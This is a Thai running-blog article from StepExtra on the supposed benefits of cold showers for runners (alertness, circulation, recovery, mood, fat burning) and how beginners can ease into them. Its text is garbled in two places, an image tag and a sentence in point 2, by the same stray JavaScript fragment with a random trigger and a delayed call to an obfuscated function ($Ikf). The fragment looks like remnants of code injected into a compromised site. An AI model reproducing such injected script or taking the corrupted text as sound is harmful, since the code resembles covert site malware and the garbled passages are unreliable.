• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Healthy Tips

การอาบน้ำเย็น…ประโยชน์ที่นักวิ่งอาจยังไม่รู้

kan by kan
9 August 2018
in Healthy Tips, Running Tips, Tips & Technics
0
การอาบน้ำเย็น…ประโยชน์ที่นักวิ่งอาจยังไม่รู้
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

ถ้าคุณไม่ชอบการอาบน้ำเย็น คุณกำลังพลาดโอกาสดีๆ ชนิดที่คาดไม่ถึง การอาบน้ำเย็นไม่ใช้วิธีการทรมานร่างกาย แต่เป็นการฝึกฝนให้ร่างกายและจิตใจให้แข็งแกร่งขึ้น เหมือนๆ กับการออกไปวิ่งเลยล่ะ

ประโยชน์ของการอาบน้ำเย็น

1. การอาบน้ำเย็นช่วยให้ระบบไหลเวียนเลือดทำงานดีขึ้น

ถ้าตื่นเช้ามายังรู้สึกเฉื่อยช้าไม่กระปรี้ประเป้า เราแนะนำให้เดินผ่านน้ำเย็นเลยครับ จะสลับน้ำอุ่นเย็นไปมาก็ได้ถ้าทนน้ำเย็นไม่ไหว การอาบน้ำเย็นจะช่วยกระตุ้นให้คุณให้ตื่น Alert เสมือนได้รับกาเฟอีนทีเดียว น้ำเย็นจะเป็นตัวกระตุ้นให้ร่างกายสูบฉีดเลือดไปเลี้ยงร่างกาย ทำให้ความต้องการออกซิเจนสูงขึ้น ผลคือเราต้องเริ่มหายใจให้มากและลึกขึ้นเพื่อต่อสู้กับอาการหนาวเย็น

andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ander-747448-unsplash.jpg” alt=”” width=”1000″ height=”667″ />

วิธีการผ่านน้ำเย็นสำหรับมือใหม่ที่ใจยังไม่พร้อม

  1. อาบน้ำอุ่นก่อน
  2. เปิดน้ำเย็นแล้วค่อยๆ ให้ช่วงล่าง เท้าและขาโดนน้ำ ไล่ขึ้นมาจนถึงน่องและขาอ่อนเรื่อยๆ เอาให้ห่างหัวใจไว้ก่อนนะ
  3. ย้ายไปที่ช่วงแขน จากมือไล่ไปถึงหัวไหล่
  4. นาทีชีวิต ฉีดหรือรดน้ำเข้าสู่ช่วงกลางลำตัว จากนั้นสลับกับน้ำอุ่น และทำซ้ำตามลำดับขั้นที่กล่าวไว้

เท่านี้นักวิ่งคนไหนที่อยากรู้สึก Alert ในช่วงเช้าและพร้อมที่จะออกวิ่งก็ไม่ควรพลาดที่จะทำดูนะครับ

2. อาบน้ำเย็นช่วยส่งเสริมสุขภาพให้ดีขึ้น

การอาบน้ำเย็นตอนเช้าไม่ใช่แค่ช่วยปลุกให้คุณตื่นหรือช่วยให้การไหลเวียนเลือดดีขึ้นเท่านั้น แต่น้ำเย็นจะช่วยกระตุ้นให้หลอดเลือดมีการยืดหดตัวด้วย (constrict andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and dilate) และยังกระตุ้นระบบภุมิต้านทานให้แข็งแรงขึ้นด้วย สำหรับนักวิ่งการอาบน้ำเย็น จะช่วยลดอาการปวดเมื่อยกล้ามเนื้อและให้ Recovery ได้เร็วขึ้นด้วย

3. ช่วยผ่อนคลายความเครียด

จากการศึกษาของ Virginia Commonwealth University School of Medicine พบว่า การอาบน้ำเย็นช่วยพัฒนาจิตใจผู้ป่วยเป็นโรคซึมเศร้า (Depression) ให้ดีขึ้น ความหนาวเย็นช่วยกระตุ้นเซลล์ประสาทสมองยิงประจุไฟฟ้าให้มากขึ้น ช่วยในการชะล้างอาการซึมเศร้า

ข้อแนะนำ…ให้ค่อยๆ ปรับอุณหภูมิลง ประมาณที่ 20 องศา หรือถ้าต้องการมากกว่านั้นก็ทำได้ เราแนะนำให้อาบน้ำเย็น 1-2 ครั้งต่อวัน ประมาณ 2-3 นาที และติดต่อกัน 2-3 สัปดาห์ต่อเดือน

4. ช่วยในการลดน้ำหนัก

นี้อาจจะเป็นข้อดีสำหรับใครหลายๆ คน เพราะการอาบน้ำเย็นมีผลในการช่วยลดน้ำหนักได้ เพราะเมื่อเราสัมผัสกับอากาศหนาว ร่างกายจะถูกกระตุ้นให้ดึงไขมันมาเผาผลาญ รักษาให้อุณหภูมิร่างกายคงที่ ทั้งนี้ในร่างกายคนจะมีไขมันขาวและไขมันน้ำตาล (White & Brown Fat) ในร่างกาย เจ้าไขมันขาวก็คือก้อนไขมันรอบๆ เอวและพุงที่ยื่นขึ้นมา หากมีมากจะทำให้เป็นโรคเบาหวานได้ แต่เจ้าไขมันน้ำตาล คือ เซลล์ไขมันที่ตรงกันข้ามกับเซลล์ไขมันขาว คือ เจ้าไขมันสีน้ำตาล จะค่อยเผาผลาญไขมันขาวให้เป็นพลังงาน เพื่อนำมาใช้ควบคุมอุณหภูมิของร่างกายในช่วงที่อากาศหนาวเย็น

หมายเหตุกันสักนิด สำหรับใครที่สนใจเรื่องไขมันขาวและน้ำตาล…..ไขมันสีน้ำตาล (Brow Fat) ไขมันชนิดนี้ พบมากในช่วงวัยเด็ก และจะลดลงเรื่อยๆ เมื่ออายุมากขึ้น และนี่คือเหตุผลว่าทำไม ถ้าคุณรับประทานอาหารมากกว่าที่ร่างกายต้องการ จึงได้มีรูปร่างที่เต็มไปด้วยไขมันสีขาว มากกว่าไขมันสีน้ำตาล (ที่มา www.haijai.com)

วิธีที่จะเพิ่มไขมันน้ำตาล อย่างเช่น การออกสัมผัสกับอากาศเย็น เพราะอากาศเย็นสามารถกระตุ้นให้ไขมันสีน้ำตาลทำงานมากขึ้นได้ การควบคุมระดับน้ำตาลในเลือดภายในร่างกาย ไม่ให้สูงด้วยการเลือกรับประทานอาหารที่มีไฟเบอร์สูง โปรตีนสูง และไขมันต่ำ หลีกเลี่ยงอาหารประเภทแป้ง ขนมต่างๆ น้ำตาล และผลไม้ที่มีรสหวาน ก็จะช่วยกระตุ้นให้ร่างกายเปลี่ยนไขมันสีขาวเป็นไขมันสีน้ำตาลได้ และเวทเทรนนิ่งเพิ่มไขมันสีน้ำตาล การเพิ่มมวลกล้ามเนื้อ โดยการออกกำลังกาย แบบใช้แรงต้าน 4-5 ครั้ง / สัปดาห์ พบว่าช่วยเพิ่มไขมันสีน้ำตาลได้ 10-20% เลยทีเดียว

อ้างอิง www.runtastic.com

ShareTweetShare
kan

kan

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
  • รู้หรือไม่…ต้นทุนรองเท้าราคาเท่าไหร่และประกอบด้วยค่าอะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • วิ่งให้เร็วขึ้นด้วยการฝึกสปริ้นท์ 30 วินาที

    0 shares
    Share 0 Tweet 0
  • 13 กลวิธี ขี่จักรยานให้ได้ความเร็วเพิ่มขึ้น!

    0 shares
    Share 0 Tweet 0
  • ผู้ใช้ Garmin โปรดทราบ หน้าปัดนาฬิกาลายเลข 9 เพื่อเเสดงความอาลัย มีให้ดาวน์โหลดเเล้ว

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.